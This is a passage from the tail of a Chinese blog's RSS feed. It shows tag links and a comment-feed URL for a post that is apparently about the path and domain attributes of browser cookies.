	标签Tags：<a href="http://www.5bay.cn/tag/cookie" title="cookie" rel="tag">cookie</a>, <a href="http://www.5bay.cn/tag/domain" title="domain" rel="tag">domain</a>, <a href="http://www.5bay.cn/category/network-programming/javascript-ajax" title="JavaScript&amp;Ajax" rel="tag">JavaScript&amp;Ajax</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/javascript-ajax/%E5%85%B3%E4%BA%8Ecookie%E4%B8%AD%E7%9A%84path%E5%92%8Cdomain.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

